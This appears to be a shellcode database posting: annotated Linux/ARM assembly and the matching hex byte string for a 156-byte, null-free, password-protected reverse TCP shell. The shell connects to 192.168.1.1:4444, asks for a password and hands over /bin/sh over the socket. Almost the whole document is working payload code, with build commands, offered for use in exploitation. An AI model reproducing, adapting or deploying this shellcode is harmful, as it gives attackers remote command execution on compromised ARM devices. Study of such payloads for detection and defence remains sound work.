Linux/ARM Password Protected Reverse Shell Shellcode

156 bytes small Linux/ARM password protected reverse TCP (192.168.1.1:4444/TCP) shell (/bin/sh) null-free shellcode.


MD5 | b7131d0642486647b97ab38932c932e3

/*
* Title: Linux/ARM - Password Protected Reverse Shell TCP (/bin/sh). Null free shellcode (156 bytes)
* Date: 2018-01-15
* Tested: armv7l (Raspberry Pi v3)
* Author: rtmcx - twitter: @rtmcx
*/

.section .text

.global _start
_start:
/* Enter Thumb mode */
.ARM
add r6, pc, #1
bx r6


.THUMB

/* Create a new socket*/
/* socket(PF_INET, SOCK_STREAM, 0);
r0 = 2, r = 1, r2 = 0
r7 = 281 (SYSCALL for socket)
*/
mov r0, #2 // PF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
eor r2, r2, r2 // Zero out r2
mov r7, #100 // Put 281 in r7..
add r7, #181 // ..in a 2-step operation
svc #1 // syscall returns sockid in r0

mov r4, r0 // Save sockid in r4


/* Connect to client */
/* connect(int sockid, const struct sockaddr *addr, int addrlen);
r0 = sockid, r1 = <struct address>, r2 = 16
r7 = 283 (SYSCALL for connect)
*/
adr r1, struct_addr // Address to struct_addr
strb r2, [r1, #1] // Replace AF_INET with NULL
mov r2, #16 // Address length
add r7, #2 // r7 already contains 281, so add 2 = 283
svc #1 // Client sockid will be returned in r0


/* Send message */
/* send(sockid, message, mess_len, 0);
r0 = sockid, r1 = message_address, r2 = messlen, r3 = 0
R7 = 289 (syscall for send)
*/
mov r0, r4 // Restore sockid to r0
adr r1, prompt // Load address to string "passwd" in r1
mov r2, #8 // 'passwd: ' is 8 bytes
eor r3, r3, r3 // Make r3 null
add r7, #6 // r7 has 283, add 6 to get 289
svc #1 // Execute syscall


/* Get the response (recv) */
/* ssize_t recv(int sockid, void *buf, size_t len, int flags);
r0 = sockid, r1 = buffer_space, r2 = length, r3 = null
r7 = 291 (recv)
*/
mov r0, r4 // Restore sockid to r0
adr r1, response // Load the address to store input in into r1
mov r2, #8 // Read 8 characters
eor r3, r3 ,r3 // Zero out r3
add r7, #2 // r7 has 289, add 2 to get 291
svc #1 // Execute syscall


/* Compare the received answer to the stored password */
adr r5, passwd // Store address to password in r5
mov r6, #9 // Use r6 as counter for number of bytes in password
// (9 to 1 to avoid null)
cmp_loop:
ldrb r2, [r5] // Put one byte from r5 in r2
ldrb r3, [r1] // Put one byte from r1 in r3

cmp r2, r3 // Compare the bytes
bne _exit // Not equal, exit

add r5, #1 // Next byte in password
add r1, #1 // Next byte in input
sub r6, #1 // Decrement counter

cmp r6, #1 // Are we at 1 yet?
bne cmp_loop // No, next byte


/* Duplicate STDIN, STDOUT and STERR */
/* dup2(client_sock_fd, STDIN/STDOUT/STDERR);
r0 = sockid, r1 = 0/1/2
r7 = 63 (syscall for dup2)
*/
mov r0, r4 // Saved sockid
eor r1, r1, r1 // Zero r1 for STDIN
mov r7, #63 // Syscall for dup2
svc #1 // Execute syscall

mov r0, r4 // Saved sockid
add r1, #1 // STDOUT (1)
svc #1 // Execute syscall

mov r0, r4 // Saved sockid
add r1, #1 // STDERR (2)
svc #1 // Execute syscall


/* Execute shell */
/* execve('/bin/sh', 0, 0);
r0 --> "/bin/sh", r1 = 0, r2 = 0
r7 = 11 (syscall for execve)
*/
adr r0, shellcode // Address to "/bin/sh"
eor r1, r1, r1 // Zero out r1
eor r2, r2, r2 // And r2
strb r2, [r0, #7] // Replace 'X' with NULL
mov r7, #11 // Syscall for execve
svc #1 // Execute syscall


/* Exit (if wrong password was provided) */
_exit:
mov r0, #1 // return 1
mov r7, #1 // syscall number for exit
svc #1 // execute syscall


/* */
struct_addr:
.ascii "\x02\xaa" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port 4444
.ascii "\xc0\xa8\x01\x01" // IP Address (192.168.1.1)

shellcode:
.ascii "/bin/shX"

prompt:
.ascii "passwd:\x20" // prompt for password, with space

response:
.ascii "xxxxxxxx" // Place to store the response

passwd:
.ascii "MyPasswd" // The correct password


/*
Compile and link with:
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode

\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\x64\x27\xb5\x37\x01\xdf\x04\x1c\x17\xa1\x4a\x70
\x10\x22\x02\x37\x01\xdf\x20\x1c\x18\xa1\x08\x22\x5b\x40\x06\x37\x01\xdf\x20\x1c\x17\xa1\x08\x22\x5b\x40
\x02\x37\x01\xdf\x16\xa5\x09\x26\x2a\x78\x0b\x78\x9a\x42\x14\xd1\x01\x35\x01\x31\x01\x3e\x01\x2e\xf6\xd1
\x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x06\xa0\x49\x40\x52\x40
\xc2\x71\x0b\x27\x01\xdf\x01\x20\x01\x27\x01\xdf\x02\xaa\x11\x5c\xc0\xa8\x01\x01\x2f\x62\x69\x6e\x2f\x73
\x68\x58\x70\x61\x73\x73\x77\x64\x3a\x20\x78\x78\x78\x78\x78\x78\x78\x78\x4d\x79\x50\x61\x73\x73\x77\x64
*/



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